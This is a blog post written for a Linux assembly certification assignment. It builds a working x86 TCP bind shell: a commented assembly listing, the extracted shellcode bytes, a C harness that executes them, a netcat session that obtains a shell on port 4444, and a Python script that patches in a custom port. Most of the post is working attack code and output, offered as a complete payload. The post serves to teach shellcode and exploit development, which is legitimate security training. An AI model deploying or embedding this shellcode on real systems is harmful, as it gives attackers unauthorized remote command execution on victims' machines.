Hi All! In this post, we will see how to implement a TCP bind shell in assembly program .
Objective :
1.create a TCP bind shell shellcode which binds to a port and execs shell on incoming connection.
2. port number should be easily configurable.
So what actually is a bind shell?
bind shell is a type of shell , which opens up a remote port on a victim machine , listens for incoming connection, Once received , it forwards standard output , standard input and standard error to the received socket and finally forks a command shell.
So to implement our bind TCP shell, we can split the operations as follows :
- create a socket .
- bind the socket to its desired attributes.
- listen for incoming connections.
- accept the connection.
- redirect standard input,output and error to client socket.
- call execve to spawn a simple shell
All credits to this awesome c reference for bind tcp shell :
https://gist.github.com/geyslan/5176234
So before looking at the implementation, few important locations to look at and its purpose.
- To look at the different syscall numbers associated with syscalls, we can refer this header in location : /usr/include/i386-linux-gnu/asm/unistd_32.h
- To look at few other things related to network handling part ( codes for bind , accept, socket ) can be found at : /usr/include/linux/net.h
- To look at socket handling part : /usr/include/i386-linux-gnu/bits/socket.h
calling system calls from assembly program:
we can call different system calls from assembly program by calling an 0x80 interrupt . It expects the following contents in general purpose registers before the call.
eax – syscall number
ebx- first argument
ecx-second argument
edx – third argument
and so on.. and finally interrupt can be called using instruction
int 0x80
socket creation , binding and other operations can done with the help of socketcall syscall.
from its man page :
int socketcall(int call, unsigned long *args);
socketcall syscall number : 0x66( 102 in decimal )( from unistd_32.h)
This is pushed on to eax register before interrupt .
ebx contains call number which specifies the socket task at hand(create , bind ,accept , listen etc) which can be found at : net.h
finally ecx should contain the actual arguments for the call function.
For creation of socket , we need to make use of SYS_SOCKET . For binding socket , SYS_BIND . For listening to incoming connections : SYS_LISTEN .For accepting connections SYS_ACCEPT . ( all call numbers can be found at net.h)
To redirect standard input , output and standard error to incoming connection , we can make use of dup2 syscall
dup2(clientsock, [ 0 | 1 | 2 ] )
syscall number : 0x3f( from unistd_32.h)
so we need to call dup2 thrice to redirect standard input, output and error to client socket once connection is accepted.
And finally we make use of execve syscall to spawn a shell.
int execve(const char *filename, char *const argv[], char *const envp[]);
syscall number : 0xb( from unistd_32.h)
complete assembly code for the bind tcp shellcode ( listening on port 4444) with relevant comments :
global _start section .text _start: xor edx,edx ; clear out edx ; create socket push 0x66 pop eax ; syscall for socketcall push 0x1 pop ebx ; SOCKETCALL from net.h = 1 push edx ; push 0 push ebx ; value of SOCK_STREAM = 1 got it from header /usr/src push 0x2 ; value 2 from /usr/include/i386-linux-gnu/bits/socket.h mov ecx,esp ; move ecx to top of the stack int 0x80 ; call interrupt ; store returning socket in esi for further use mov esi,eax ; bind mov al, 0x66 ; socketcall (102) pop ebx ; SYS_BIND (2) push edx ; INADDRY_ANY (0) push word 0x5c11 ; htons 4444 push bx ; AF_INET=PF_INET (2) mov edi, esp ; store struct address in edi push 0x10 ; size = 16 push edi ; address of struct is pushed onto stack push esi ; socketfd mov ecx, esp ; point ecx to top of stack int 0x80 ; call interrupt ; listen push 0x66 pop eax ; syscall for socketcall xor ebx,ebx mov bl,0x4 ; SYS_LISTEN = 4 push edx push esi mov ecx,esp ; finally pointer to arugments stored in ecx int 0x80 ; accept push 0x66 pop eax ; syscall for socketcall inc ebx ; SYS_ACCEPT = 5 push edx push edx push esi mov ecx,esp ; finally pointer to arugments stored in ecx int 0x80 ; redirect standard input , output , error to client sock mov ebx,eax ; store returned client socket in ebx. ( client sock in ebx ) xor ecx,ecx mov cl,0x2 ; initialize counter to 2 redirectIO: mov al, 0x3f int 0x80 dec ecx jns redirectIO ; execve /bin/sh push edx push 0x68732f2f push 0x6e69622f mov ebx, esp ; /bin//sh mov ecx, edx ; NULL mov al, 0xb ; syscall for execve int 0x80
Lets compile and generate shellcode from the binary :
slae@ubuntu:~/Desktop/SLAE/assignments/assignment1$ ./compile.sh btcp [+] Assembling with Nasm ... [+] Linking ... [+] Done! slae@ubuntu:~/Desktop/SLAE/assignments/assignment1$ objdump -d ./btcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x52\x66\x68\x11\x5c\x66\x53\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x6a\x66\x58\x31\xdb\xb3\x04\x52\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80"
Finally , we update our template C program :
#include<stdio.h>
#include<string.h>
unsigned char code[] ="\x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x52\x66\x68\x11\x5c\x66\x53\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x6a\x66\x58\x31\xdb\xb3\x04\x52\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
So lets compile and execute :
$ ./shellcode
on new terminal lets connect :
slae@ubuntu:~$ netcat -nv 127.0.0.1 4444 Connection to 127.0.0.1 4444 port [tcp/*] succeeded! whoami slae
We get our bind shell!
So for now , we have hardcoded our bind port. we need to make it configurable for custom port. For that, we can write a simple python script to accept a custom port and generate final shellcode :
#!/usr/bin/env python3
import sys
import struct
from sys import argv
port = int(argv[1])
print(" Warning : for port num < 1024 please exec as root")
if port > 65535 :
print("port > 65535 please provide another port")
exit()
port = struct.pack("!H", port)
port = ("{}".format(''.join('\\x{:02x}'.format(b) for b in port)))
if "\\x00" in port:
print(" warning : NULL byte detected! choose different port and rerun")
exit()
finalshellcode = """\\x31\\xd2\\x6a\\x66\\x58\\x6a\\x01\\x5b\\x52\\x53\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc6\\xb0\\x66\\x5b\\x52\\x66\\x68%s\\x66\\x53\\x89\\xe7\\x6a\\x10\\x57\\x56\\x89\\xe1\\xcd\\x80\\x6a\\x66\\x58\\x31\\xdb\\xb3\\x04\\x52\\x56\\x89\\xe1\\xcd\\x80\\x6a\\x66\\x58\\x43\\x52\\x52\\x56\\x89\\xe1\\xcd\\x80\\x89\\xc3\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xd1\\xb0\\x0b\\xcd\\x80""" % (port)
print("shellcode : ",finalshellcode)
./custom.py 4445 Warning : for port num < 1024 please exec as root shellcode : \x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x52\x66\x68\x11\x5d\x66\x53\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x6a\x66\x58\x31\xdb\xb3\x04\x52\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80
This shellcode has to be replaced with original one from template program and finally run to get it working .
link to github repo for the code :
https://github.com/strikergoutham/SLAE_assignments
This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert certification.
(https://www.pentesteracademy.com/course?id=3)
SLAE student ID : SLAE – 1367
